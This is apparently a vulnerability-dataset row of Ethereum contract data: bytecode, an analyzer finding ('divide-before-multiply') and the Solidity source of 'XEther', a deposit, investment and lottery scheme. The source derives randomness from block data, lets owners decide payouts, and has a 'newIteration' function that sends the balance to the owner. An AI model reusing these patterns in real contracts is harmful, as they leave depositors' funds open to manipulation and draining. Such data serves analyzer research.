05162461bcd60e51b815260206004820152600a60248201526910985908185b5bdd5b9d60b21b604482015290519081900360640190fd5b6108b1565b60078054600101905567016345785d8a000081108015906108735750600360008154811061086457fe5b90600052602060002001548111155b6108b1576040805162461bcd60e51b815260206004820152600a60248201526910985908185b5bdd5b9d60b21b604482015290519081900360640190fd5b600780546001600160a01b038416600081815260026020908152604080832094855560048501839055948401869055600884019190915560098301805464ffffffffff19164264ffffffffff16179055600a9092018054850190558251848152925190927f2cb77763bc1e8490c1a904905c4d74b4269919aca114464f4bb4d911e60de36492908290030190a26001600160a01b03808316600090815260026020819052604082200154909116905b60055460ff82161015610aeb576000606460058360ff168154811061098157fe5b60009182526020918290209181049091015460ff601f9092166101000a9004168502816109aa57fe5b0490506001600160a01b03831615610a4d576001600160a01b03808416600081815260026020908152604091829020600501805486019055815185815260ff6001880116918101919091528151938916937f884672b7c1c9e34a52c508e5207a23f271af8be8517805a496604fffe419333c929181900390910190a36001600160a01b039283166000908152600260208190526040909120015490921691610ae2565b8060026000610a5a61130a565b6001600160a01b039081168252602082019290925260400160002060050180549092019091558516610a8a61130a565b6040805184815260ff6001870116602082015281516001600160a01b0393909316927f884672b7c1c9e34a52c508e5207a23f271af8be8517805a496604fffe419333c929181900390910190a3610adf61130a565b92505b50600101610960565b50610af461130a565b6001600160a01b03166108fc6103e8600f8502049081150290604051600060405180830381858888f19350505050158015610b33573d6000803e3d6000fd5b50505050565b6006546007549091565b6001600160a01b03166000908152600260205260409020600a0154151590565b6001600160a01b0390811660009081526002602081905260409091209081015460098201546007830154600484015460058501546006860154600190960154949096169664ffffffffff90931695919490939192909190565b6001546001600160a01b031681565b6001546001600160a01b03163314610c2a576040805162461bcd60e51b815260206004820181905260248201527f4163636573732064656e69656420286f6e6c79206772616e64206f776e657229604482015290519081900360640190fd5b6001546001600160a01b0316ff5b60075481565b6001546001600160a01b03163314610c9d576040805162461bcd60e51b815260206004820181905260248201527f4163636573732064656e69656420286f6e6c79206772616e64206f776e657229604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600154600160a01b900460ff1615610d11576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b604080516336d30e8f60e11b8152336004820152815160009283923092636da61d1e92602480840193919291829003018186803b158015610d5157600080fd5b505afa158015610d65573d6000803e3d6000fd5b505050506040513d6040811015610d7b57600080fd5b50805160209182015133600090815260029093526040909220600401549093509091508111610de0576040805162461bcd60e51b815260206004820152600c60248201526b46756c6c207061796f75747360a01b604482015290519081900360640190fd5b8115610e4657336000908152600260205260409020600401548201811015610e1a5733600090815260026020526040902060040154810391505b33600081815260026020526040902060088101805485019055600401805484019055610e46908361158b565b3360009081526002602052604090206004015481118015610e7857503360009081526002602052604090206005015415155b15610ed65733600090815260026020526040902060058101546004909101548101821015610eb757503360009081526002602052604090206004015481035b3360009081526002602052604090206005018054829003905591909101905b3360009081526002602052604090206004015481118015610f0857503360009081526002602052604090206006015415155b15610f705733600090815260026020526040902060068101546004909101548101821015610f4757503360009081526002602052604090206004015481035b336000908152600260205260409020600681018054839003905560040180548201905591909101905b60008211610fb3576040805162461bcd60e51b815260206004820152600b60248201526a16995c9bc81c185e5bdd5d60aa1b604482015290519081900360640190fd5b33600081815260026020526040808220600b0180548601905560068054860190555184156108fc0291859190818181858888f19350505050158015610ffc573d6000803e3d6000fd5b5060408051838152905133917f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364919081900360200190a2336000908152600260205260409020600401548111611095573360008181526002602090815260409182902060040154825190815291517f97ddeb77c85e6a1dd99a34fe2bb1a4f9b211d5ffced7a707de9dbeb24363d0e49281900390910190a25b5050565b6110a16116c2565b6000546001600160a01b039081169116146110f1576040805162461bcd60e51b8152602060048201819052602482015260008051602061197c833981519152604482015290519081900360640190fd5b6110f96116c6565b565b600154600160a01b900460ff1690565b6001600160a01b038116600090815260026020526040812060070154819061113290611585565b6001600160a01b0384166000908152600260205260409020600801549091508111156111cf576001600160a01b0383166000908152600260205260409020600881015460098201546007909201546103e8600f909102046201518064ffffffffff90931642039290920491909102819003925082018110156111cf576001600160a01b038316600090815260026020526040902060080154810391505b915091565b6111dc6116c2565b6000546001600160a01b0390811691161461122c576040805162461bcd60e51b8152602060048201819052602482015260008051602061197c833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6001600160a01b031660009081526002602052604090206003810154600a820154600b830154600c90930154919390929190565b6112b26116c2565b6000546001600160a01b03908116911614611302576040805162461bcd60e51b8152602060048201819052602482015260008051602061197c833981519152604482015290519081900360640190fd5b6110f961176e565b6000546001600160a01b031690565b60065481565b600260208190526000918252604090912080546001820154928201546003830154600484015460058501546006860154600787015460088801546009890154600a8a0154600b8b0154600c909b0154999b9a6001600160a01b039099169997989697959694959394929364ffffffffff9092169290918d565b600581815481106113a557fe5b9060005260206000209060209182820401919006915054906101000a900460ff1681565b600381815481106113d657fe5b600091825260209091200154905081565b600481815481106113a557fe5b6113fc6116c2565b6000546001600160a01b0390811691161461144c576040805162461bcd60e51b8152602060048201819052602482015260008051602061197c833981519152604482015290519081900360640190fd5b6001600160a01b0381166114915760405162461bcd60e51b81526004018080602001828103825260268152602001806119566026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03166000908152600260205260409020600901546201518064ffffffffff909116420390810491565b600154600160a01b900460ff161561156e576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b61157833826117fc565b6115823334610622565b50565b60030290565b6001600160a01b03808316600090815260026020819052604082200154909116905b60045460ff82161015610b33576001600160a01b0382166115cd57610b33565b6001600160a01b03821660009081526002602052604090206003015460ff600183011611611698576000606460048360ff168154811061160957fe5b60009182526020918290209181049091015460ff601f9092166101000a90041685028161163257fe5b6001600160a01b03808616600081815260026020908152604091829020600601805496909504958601909455805185815290519495509189169390927f16e746f9be6c4b545700b04df27afb9fceabf59b94ef1c816e78a435059fabea928290030190a3505b6001600160a01b0391821660009081526002602081905260409091200154909116906001016115ad565b3390565b600154600160a01b900460ff1661171b576040805162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b604482015290519081900360640190fd5b6001805460ff60a01b191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa6117516116c2565b604080516001600160a01b039092168252519081900360200190a1565b600154600160a01b900460ff16156117c0576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b6001805460ff60a01b1916600160a01b1790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586117516116c2565b6001600160a01b03828116600090815260026020819052604090912001541615801561183a5750816001600160a01b0316816001600160a01b031614155b801561188957506001600160a01b03811660009081526002602052604090206009015464ffffffffff16151580611889575061187461130a565b6001600160a01b0316816001600160a01b0316145b15611095576001600160a01b03828116600081815260026020819052604080832090910180546001600160a01b031916948616948517905583825280822060030180546001019055517f9f4d150e5193cfa9a87226111d3b60b624d97ccc056eeeac1569af1ea27bf6419190a360005b60045460ff82161015611950576001600160a01b03821661191957611950565b6001600160a01b039182166000908152600260208190526040909120600c81018054600190810190915591015490921691016118f9565b50505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220bbafafb7621993b285085f2aefeeef28f07f887755e5951087826f25ddd6e57764736f6c63430006080033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
5,866
0xfee1f560e167cd3c55992c356e712d5ee8c33d49
pragma solidity ^0.4.24; contract Owned { address public aOwner; address public coOwner1; address public coOwner2; constructor() public { aOwner = msg.sender; coOwner1 = msg.sender; coOwner2 = msg.sender; } /* Modifiers */ modifier onlyOwner { require(msg.sender == aOwner || msg.sender == coOwner1 || msg.sender == coOwner2); _; } function setCoOwner1(address _coOwner) public onlyOwner { coOwner1 = _coOwner; } function setCoOwner2(address _coOwner) public onlyOwner { coOwner2 = _coOwner; } } contract XEther is Owned { /* Structurs and variables */ uint256 public totalInvestmentAmount = 0; uint256 public ownerFeePercent = 50; // 5% uint256 public investorsFeePercent = 130; // 13% uint256 public curIteration = 1; uint256 public depositsCount = 0; uint256 public investorsCount = 1; uint256 public bankAmount = 0; uint256 public feeAmount = 0; uint256 public toGwei = 1000000000; // or 1e9, helper vars uint256 public minDepositAmount = 20000000; // minimum deposit uint256 public minLotteryAmount = 100000000; // minimum to participate in lottery uint256 public minInvestmentAmount = 5 ether; // min for investment bool public isWipeAllowed = true; // wipe only if bank almost became empty uint256 public investorsCountLimit = 7; // maximum investors uint256 public lastTransaction = now; // Stage variables uint256 private stageStartTime = now; uint private currentStage = 1; uint private stageTime = 86400; // time of stage in minutes uint private stageMin = 0; uint private stageMax = 72; // lottery uint256 public jackpotBalance = 0; uint256 public jackpotPercent = 20; // 2% uint256 _seed; // Deposits mapping mapping(uint256 => address) public depContractidToAddress; mapping(uint256 => uint256) public depContractidToAmount; mapping(uint256 => bool) public depContractidToLottery; // Investors mapping mapping(uint256 => address) public investorsAddress; mapping(uint256 => uint256) public investorsInvested; mapping(uint256 => uint256) public investorsComissionPercent; mapping(uint256 => uint256) public investorsEarned; /* Events */ event EvDebug ( uint amount ); /* New income transaction*/ event EvNewDeposit ( uint256 iteration, uint256 bankAmount, uint256 index, address sender, uint256 amount, uint256 multiplier, uint256 time ); /* New investment added */ event EvNewInvestment ( uint256 iteration, uint256 bankAmount, uint256 index, address sender, uint256 amount, uint256[] investorsFee ); /* Collect investors earned, when some one get payment */ event EvInvestorsComission ( uint256 iteration, uint256[] investorsComission ); /* Bank amount increased */ event EvUpdateBankAmount ( uint256 iteration, uint256 deposited, uint256 balance ); /* Payout for deposit */ event EvDepositPayout ( uint256 iteration, uint256 bankAmount, uint256 index, address receiver, uint256 amount, uint256 fee, uint256 jackpotBalance ); /* newIteration */ event EvNewIteration ( uint256 iteration ); /* No more funds in the bank, need actions (e.g. new iteration) */ event EvBankBecomeEmpty ( uint256 iteration, uint256 index, address receiver, uint256 payoutAmount, uint256 bankAmount ); /* Investor get payment */ event EvInvestorPayout ( uint256 iteration, uint256 bankAmount, uint256 index, uint256 amount, bool status ); /* Investors get payment */ event EvInvestorsPayout ( uint256 iteration, uint256 bankAmount, uint256[] payouts, bool[] statuses ); /* New stage - time of withdraw is tapered */ event EvStageChanged ( uint256 iteration, uint timeDiff, uint stage ); /* Lottery numbers */ event EvLotteryWin ( uint256 iteration, uint256 contractId, address winer, uint256 amount ); /* Check address with code*/ event EvConfimAddress ( address sender, bytes16 code ); /* Lottery numbers */ event EvLotteryNumbers ( uint256 iteration, uint256 index, uint256[] lotteryNumbers ); /* Manually update Jackpot amount */ event EvUpdateJackpot ( uint256 iteration, uint256 amount, uint256 balance ); /*---------- constructor ------------*/ constructor() public { investorsAddress[0] = aOwner; investorsInvested[0] = 0; investorsComissionPercent[0] = 0; investorsEarned[0] = 0; } /*--------------- public methods -----------------*/ function() public payable { require(msg.value > 0 && msg.sender != address(0)); uint256 amount = msg.value / toGwei; // convert to gwei if (amount >= minDepositAmount) { lastTransaction = block.timestamp; newDeposit(msg.sender, amount); } else { bankAmount += amount; } } function newIteration() public onlyOwner { require(isWipeAllowed); payoutInvestors(); investorsInvested[0] = 0; investorsCount = 1; totalInvestmentAmount = 0; bankAmount = 0; feeAmount = 0; depositsCount = 0; // Stage vars update currentStage = 1; stageStartTime = now; stageMin = 0; stageMax = 72; curIteration += 1; emit EvNewIteration(curIteration); uint256 realBalance = address(this).balance - (jackpotBalance * toGwei); if (realBalance > 0) { aOwner.transfer(realBalance); } } function updateBankAmount() public onlyOwner payable { require(msg.value > 0 && msg.sender != address(0)); uint256 amount = msg.value / toGwei; isWipeAllowed = false; bankAmount += amount; totalInvestmentAmount += amount; emit EvUpdateBankAmount(curIteration, amount, bankAmount); recalcInvestorsFee(msg.sender, amount); } function newInvestment() public payable { require(msg.value >= minInvestmentAmount && msg.sender != address(0)); address sender = msg.sender; uint256 investmentAmount = msg.value / toGwei; // convert to gwei addInvestment(sender, investmentAmount); } /* Payout */ function depositPayout(uint depositIndex, uint pAmount) public onlyOwner returns(bool) { require(depositIndex < depositsCount && depositIndex >= 0 && depContractidToAmount[depositIndex] > 0); require(pAmount <= 5); uint256 payoutAmount = depContractidToAmount[depositIndex]; payoutAmount += (payoutAmount * pAmount) / 100; if (payoutAmount > bankAmount) { isWipeAllowed = true; // event payment not enaught bank amount emit EvBankBecomeEmpty(curIteration, depositIndex, depContractidToAddress[depositIndex], payoutAmount, bankAmount); return false; } uint256 ownerComission = (payoutAmount * ownerFeePercent) / 1000; investorsEarned[0] += ownerComission; uint256 addToJackpot = (payoutAmount * jackpotPercent) / 1000; jackpotBalance += addToJackpot; uint256 investorsComission = (payoutAmount * investorsFeePercent) / 1000; uint256 payoutComission = ownerComission + addToJackpot + investorsComission; uint256 paymentAmount = payoutAmount - payoutComission; bankAmount -= payoutAmount; feeAmount += ownerComission + investorsComission; emit EvDepositPayout(curIteration, bankAmount, depositIndex, depContractidToAddress[depositIndex], paymentAmount, payoutComission, jackpotBalance); updateInvestorsComission(investorsComission); depContractidToAmount[depositIndex] = 0; paymentAmount *= toGwei; // get back to wei depContractidToAddress[depositIndex].transfer(paymentAmount); if (depContractidToLottery[depositIndex]) { lottery(depContractidToAddress[depositIndex], depositIndex); } return true; } /* Payout to investors */ function payoutInvestors() public { uint256 paymentAmount = 0; bool isSuccess = false; uint256[] memory payouts = new uint256[](investorsCount); bool[] memory statuses = new bool[](investorsCount); uint256 mFeeAmount = feeAmount; uint256 iteration = curIteration; for (uint256 i = 0; i < investorsCount; i++) { uint256 iEarned = investorsEarned[i]; if (iEarned == 0) { continue; } paymentAmount = iEarned * toGwei; // get back to wei mFeeAmount -= iEarned; investorsEarned[i] = 0; isSuccess = investorsAddress[i].send(paymentAmount); payouts[i] = iEarned; statuses[i] = isSuccess; } emit EvInvestorsPayout(iteration, bankAmount, payouts, statuses); feeAmount = mFeeAmount; } /* Payout to investor */ function payoutInvestor(uint256 investorId) public { require (investorId < investorsCount && investorsEarned[investorId] > 0); uint256 paymentAmount = investorsEarned[investorId] * toGwei; // get back to wei feeAmount -= investorsEarned[investorId]; investorsEarned[investorId] = 0; bool isSuccess = investorsAddress[investorId].send(paymentAmount); emit EvInvestorPayout(curIteration, bankAmount, investorId, paymentAmount, isSuccess); } /* Helper function to check sender */ function confirmAddress(bytes16 code) public { emit EvConfimAddress(msg.sender, code); } /* Show depositers and investors info */ function depositInfo(uint256 contractId) view public returns(address _address, uint256 _amount, bool _participateInLottery) { return (depContractidToAddress[contractId], depContractidToAmount[contractId] * toGwei, depContractidToLottery[contractId]); } /* Show investors info by id */ function investorInfo(uint256 contractId) view public returns( address _address, uint256 _invested, uint256 _comissionPercent, uint256 earned ) { return (investorsAddress[contractId], investorsInvested[contractId] * toGwei, investorsComissionPercent[contractId], investorsEarned[contractId] * toGwei); } function showBankAmount() view public returns(uint256 _bankAmount) { return bankAmount * toGwei; } function showInvestorsComission() view public returns(uint256 _investorsComission) { return feeAmount * toGwei; } function showJackpotBalance() view public returns(uint256 _jackpotBalance) { return jackpotBalance * toGwei; } function showStats() view public returns( uint256 _ownerFeePercent, uint256 _investorsFeePercent, uint256 _jackpotPercent, uint256 _minDepositAmount, uint256 _minLotteryAmount,uint256 _minInvestmentAmount, string info ) { return (ownerFeePercent, investorsFeePercent, jackpotPercent, minDepositAmount * toGwei, minLotteryAmount * toGwei, minInvestmentAmount, 'To get real percentages divide them to 10'); } /* Function to change variables */ function updateJackpotBalance() public onlyOwner payable { require(msg.value > 0 && msg.sender != address(0)); jackpotBalance += msg.value / toGwei; emit EvUpdateJackpot(curIteration, msg.value, jackpotBalance); } /* Allow withdraw jackpot only if there are no transactions more then month*/ function withdrawJackpotBalance(uint amount) public onlyOwner { require(jackpotBalance >= amount / toGwei && msg.sender != address(0)); // withdraw jacpot if no one dont play more then month require(now - lastTransaction > 4 weeks); uint256 tmpJP = amount / toGwei; jackpotBalance -= tmpJP; // Lottery payment aOwner.transfer(amount); emit EvUpdateJackpot(curIteration, amount, jackpotBalance); } /*--------------- private methods -----------------*/ function newDeposit(address _address, uint depositAmount) private { uint256 randMulti = random(100) + 200; uint256 rndX = random(1480); uint256 _time = getRandomTime(rndX); // Check is depositer hit the bonus number. Else return old multiplier. randMulti = checkForBonuses(rndX, randMulti); uint256 contractid = depositsCount; depContractidToAddress[contractid] = _address; depContractidToAmount[contractid] = (depositAmount * randMulti) / 100; depContractidToLottery[contractid] = depositAmount >= minLotteryAmount; depositsCount++; bankAmount += depositAmount; emit EvNewDeposit(curIteration, bankAmount, contractid, _address, depositAmount, randMulti, _time); } function addInvestment(address sender, uint256 investmentAmount) private { require( (totalInvestmentAmount < totalInvestmentAmount + investmentAmount) && (bankAmount < bankAmount + investmentAmount) ); totalInvestmentAmount += investmentAmount; bankAmount += investmentAmount; recalcInvestorsFee(sender, investmentAmount); } function recalcInvestorsFee(address sender, uint256 investmentAmount) private { uint256 investorIndex = 0; bool isNewInvestor = true; uint256 investorFeePercent = 0; uint256[] memory investorsFee = new uint256[](investorsCount+1); for (uint256 i = 0; i < investorsCount; i++) { if (investorsAddress[i] == sender) { investorIndex = i; isNewInvestor = false; investorsInvested[i] += investmentAmount; } investorFeePercent = percent(investorsInvested[i], totalInvestmentAmount, 3); investorsComissionPercent[i] = investorFeePercent; investorsFee[i] = investorFeePercent; } if (isNewInvestor) { if (investorsCount > investorsCountLimit) revert(); // Limit investors count investorFeePercent = percent(investmentAmount, totalInvestmentAmount, 3); investorIndex = investorsCount; investorsAddress[investorIndex] = sender; investorsInvested[investorIndex] = investmentAmount; investorsComissionPercent[investorIndex] = investorFeePercent; investorsEarned[investorIndex] = 0; investorsFee[investorIndex] = investorFeePercent; investorsCount++; } emit EvNewInvestment(curIteration, bankAmount, investorIndex, sender, investmentAmount, investorsFee); } function updateInvestorsComission(uint256 amount) private { uint256 investorsTotalIncome = 0; uint256[] memory investorsComission = new uint256[](investorsCount); for (uint256 i = 1; i < investorsCount; i++) { uint256 investorIncome = (amount * investorsComissionPercent[i]) / 1000; investorsEarned[i] += investorIncome; investorsComission[i] = investorsEarned[i]; investorsTotalIncome += investorIncome; } investorsEarned[0] += amount - investorsTotalIncome; emit EvInvestorsComission(curIteration, investorsComission); } function percent(uint numerator, uint denominator, uint precision) private pure returns(uint quotient) { uint _numerator = numerator * 10 ** (precision+1); uint _quotient = ((_numerator / denominator) + 5) / 10; return (_quotient); } function random(uint numMax) private returns (uint256 result) { _seed = uint256(keccak256(abi.encodePacked( _seed, blockhash(block.number - 1), block.coinbase, block.difficulty ))); return _seed % numMax; } function getRandomTime(uint num) private returns (uint256 result) { uint rndHours = random(68) + 4; result = 72 - (2 ** ((num + 240) / 60) + 240) % rndHours; checkStageCondition(); result = numStageRecalc(result); return (result < 4) ? 4 : result; } function checkForBonuses(uint256 number, uint256 multiplier) private pure returns (uint256 newMultiplier) { if (number == 8) return 1000; if (number == 12) return 900; if (number == 25) return 800; if (number == 37) return 700; if (number == 42) return 600; if (number == 51) return 500; if (number == 63 || number == 65 || number == 67) { return 400; } return multiplier; } /* * Check for time of current stage, in case of timeDiff bigger then stage time * new stage states set. */ function checkStageCondition() private { uint timeDiff = now - stageStartTime; if (timeDiff > stageTime && currentStage < 3) { currentStage++; stageMin += 10; stageMax -= 10; stageStartTime = now; emit EvStageChanged(curIteration, timeDiff, currentStage); } } /* * Recalculate hours regarding current stage and counting chance of bonus. */ function numStageRecalc(uint256 curHours) private returns (uint256 result) { uint chance = random(110) + 1; if (currentStage > 1 && chance % 9 != 0) { if (curHours > stageMax) return stageMax; if (curHours < stageMin) return stageMin; } return curHours; } /* * Lottery main function */ function lottery(address sender, uint256 index) private { bool lotteryWin = false; uint256[] memory lotteryNumbers = new uint256[](7); (lotteryWin, lotteryNumbers) = randomizerLottery(blockhash(block.number - 1), sender); emit EvLotteryNumbers(curIteration, index, lotteryNumbers); if (lotteryWin) { emit EvLotteryWin(curIteration, index, sender, jackpotBalance); uint256 tmpJP = jackpotBalance * toGwei; // get back to wei jackpotBalance = 0; // Lottery payment sender.transfer(tmpJP); } } /* * Lottery generator numbers by given hash. */ function randomizerLottery(bytes32 hash, address sender) private returns(bool, uint256[] memory) { uint256[] memory lotteryNumbers = new uint256[](7); bytes32 userHash = keccak256(abi.encodePacked( hash, sender, random(999) )); bool win = true; for (uint i = 0; i < 7; i++) { uint position = i + random(1); bytes1 charAtPos = charAt(userHash, position); uint8 firstNums = getLastN(charAtPos, 4); uint firstNumInt = uint(firstNums); if (firstNumInt > 9) { firstNumInt = 16 - firstNumInt; } lotteryNumbers[i] = firstNumInt; if (firstNums != 7) { win = false; } } return (win, lotteryNumbers); } function charAt(bytes32 b, uint char) private pure returns (bytes1) { return bytes1(uint8(uint(b) / (2**((31 - char) * 8)))); } function getLastN(bytes1 a, uint8 n) private pure returns (uint8) { uint8 lastN = uint8(a) % uint8(2) ** n; return lastN; } }
0x608060405260043610610219576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168062bec571146102a75780630235e4e0146102fe578063040da8f41461033f5780630c0864631461036a5780632b71105114610395578063316e02cb146103c0578063317d7a2b146103eb5780633869ffd01461046a5780634506e935146104815780634d298a07146104ac57806352855882146104d7578063614596951461051757806361a7940e1461055c578063645006ca146105875780636998de35146105b257806369e15404146105dd57806371ec4cc1146106085780637221c3c0146106575780637c8da46a146106845780637dd3dd57146106c557806380dfb104146107325780638822bc1a146107755780639140f968146107cc57806393766a3d146107d657806394b941db146108015780639602d7721461088357806398f42e3b146108c4578063a1d122e8146108db578063a62f35031461090a578063acf7c1d214610914578063ad8180711461091e578063b102b8cb146109d8578063b1504a8814610a19578063b42a275e14610a44578063b80a00e514610a6f578063bf4637e514610a9a578063c180864c14610ac5578063c54d860914610b1c578063d007ff4b14610b5f578063d6ac239414610b8a578063dc09d8fd14610bb7578063dce5f27714610be2578063ebe29d7414610c4f578063fcda4ded14610c7a575b600080341180156102575750600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b151561026257600080fd5b600b543481151561026f57fe5b049050600c5481101515610293574260118190555061028e3382610ca5565b6102a4565b806009600082825401925050819055505b50005b3480156102b357600080fd5b506102bc610e4c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561030a57600080fd5b5061032960048036038101908080359060200190929190505050610e71565b6040518082815260200191505060405180910390f35b34801561034b57600080fd5b50610354610e88565b6040518082815260200191505060405180910390f35b34801561037657600080fd5b5061037f610e8e565b6040518082815260200191505060405180910390f35b3480156103a157600080fd5b506103aa610e94565b6040518082815260200191505060405180910390f35b3480156103cc57600080fd5b506103d5610e9a565b6040518082815260200191505060405180910390f35b3480156103f757600080fd5b5061041660048036038101908080359060200190929190505050610ea0565b604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182151515158152602001935050505060405180910390f35b34801561047657600080fd5b5061047f610f1f565b005b34801561048d57600080fd5b50610496611190565b6040518082815260200191505060405180910390f35b3480156104b857600080fd5b506104c1611196565b6040518082815260200191505060405180910390f35b3480156104e357600080fd5b5061051560048036038101908080356fffffffffffffffffffffffffffffffff1916906020019092919050505061119c565b005b34801561052357600080fd5b5061054260048036038101908080359060200190929190505050611230565b604051808215151515815260200191505060405180910390f35b34801561056857600080fd5b50610571611250565b6040518082815260200191505060405180910390f35b34801561059357600080fd5b5061059c611256565b6040518082815260200191505060405180910390f35b3480156105be57600080fd5b506105c761125c565b6040518082815260200191505060405180910390f35b3480156105e957600080fd5b506105f2611262565b6040518082815260200191505060405180910390f35b34801561061457600080fd5b5061063d6004803603810190808035906020019092919080359060200190929190505050611268565b604051808215151515815260200191505060405180910390f35b34801561066357600080fd5b506106826004803603810190808035906020019092919050505061175a565b005b34801561069057600080fd5b506106af600480360381019080803590602001909291905050506119aa565b6040518082815260200191505060405180910390f35b3480156106d157600080fd5b506106f0600480360381019080803590602001909291905050506119c2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561073e57600080fd5b50610773600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119f5565b005b34801561078157600080fd5b5061078a611b44565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6107d4611b6a565b005b3480156107e257600080fd5b506107eb611bd8565b6040518082815260200191505060405180910390f35b34801561080d57600080fd5b5061082c60048036038101908080359060200190929190505050611bde565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815260200182815260200194505050505060405180910390f35b34801561088f57600080fd5b506108ae60048036038101908080359060200190929190505050611c6b565b6040518082815260200191505060405180910390f35b3480156108d057600080fd5b506108d9611c83565b005b3480156108e757600080fd5b506108f0611efd565b604051808215151515815260200191505060405180910390f35b610912611f10565b005b61091c612108565b005b34801561092a57600080fd5b506109336122c5565b6040518088815260200187815260200186815260200185815260200184815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561099757808201518184015260208101905061097c565b50505050905090810190601f1680156109c45780820380516001836020036101000a031916815260200191505b509850505050505050505060405180910390f35b3480156109e457600080fd5b50610a036004803603810190808035906020019092919050505061235e565b6040518082815260200191505060405180910390f35b348015610a2557600080fd5b50610a2e612376565b6040518082815260200191505060405180910390f35b348015610a5057600080fd5b50610a5961237c565b6040518082815260200191505060405180910390f35b348015610a7b57600080fd5b50610a84612382565b6040518082815260200191505060405180910390f35b348015610aa657600080fd5b50610aaf612388565b6040518082815260200191505060405180910390f35b348015610ad157600080fd5b50610ada61238e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b2857600080fd5b50610b5d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506123b4565b005b348015610b6b57600080fd5b50610b74612503565b6040518082815260200191505060405180910390f35b348015610b9657600080fd5b50610bb560048036038101908080359060200190929190505050612511565b005b348015610bc357600080fd5b50610bcc612667565b6040518082815260200191505060405180910390f35b348015610bee57600080fd5b50610c0d60048036038101908080359060200190929190505050612675565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c5b57600080fd5b50610c646126a8565b6040518082815260200191505060405180910390f35b348015610c8657600080fd5b50610c8f6126ae565b6040518082815260200191505060405180910390f35b60008060008060c8610cb760646126bc565b019350610cc56105c86126bc565b9250610cd0836127c0565b9150610cdc8385612824565b9350600754905085601a600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506064848602811515610d4357fe5b04601b600083815260200190815260200160002081905550600d54851015601c600083815260200190815260200160002060006101000a81548160ff021916908315150217905550600760008154809291906001019190505550846009600082825401925050819055507ff0e6b80e0db595dc805f2e48b9b15936415788ed9e96874412e560001bdc9ee56006546009548389898988604051808881526020018781526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815260200182815260200197505050505050505060405180910390a1505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b602080528060005260406000206000915090505481565b60175481565b60065481565b60085481565b600b5481565b6000806000601a600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600b54601b60008781526020019081526020016000205402601c600087815260200190815260200160002060009054906101000a900460ff169250925092509193909250565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610fc95750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806110215750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561102c57600080fd5b600f60009054906101000a900460ff16151561104757600080fd5b61104f611c83565b6000601e6000808152602001908152602001600020819055506001600881905550600060038190555060006009819055506000600a8190555060006007819055506001601381905550426012819055506000601581905550604860168190555060016006600082825401925050819055507f8fd12ee179e9ebda2a2d5b4b10058e9b0498cd13bb383fb8657a0fa1a723949c6006546040518082815260200191505060405180910390a1600b54601754023073ffffffffffffffffffffffffffffffffffffffff1631039050600081111561118d576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561118b573d6000803e3d6000fd5b505b50565b60075481565b600e5481565b7f74fca19f85b17586b5901df962e3d330e6c5c333bed82f081ad56a835aff05713382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001826fffffffffffffffffffffffffffffffff19166fffffffffffffffffffffffffffffffff191681526020019250505060405180910390a150565b601c6020528060005260406000206000915054906101000a900460ff1681565b6010548156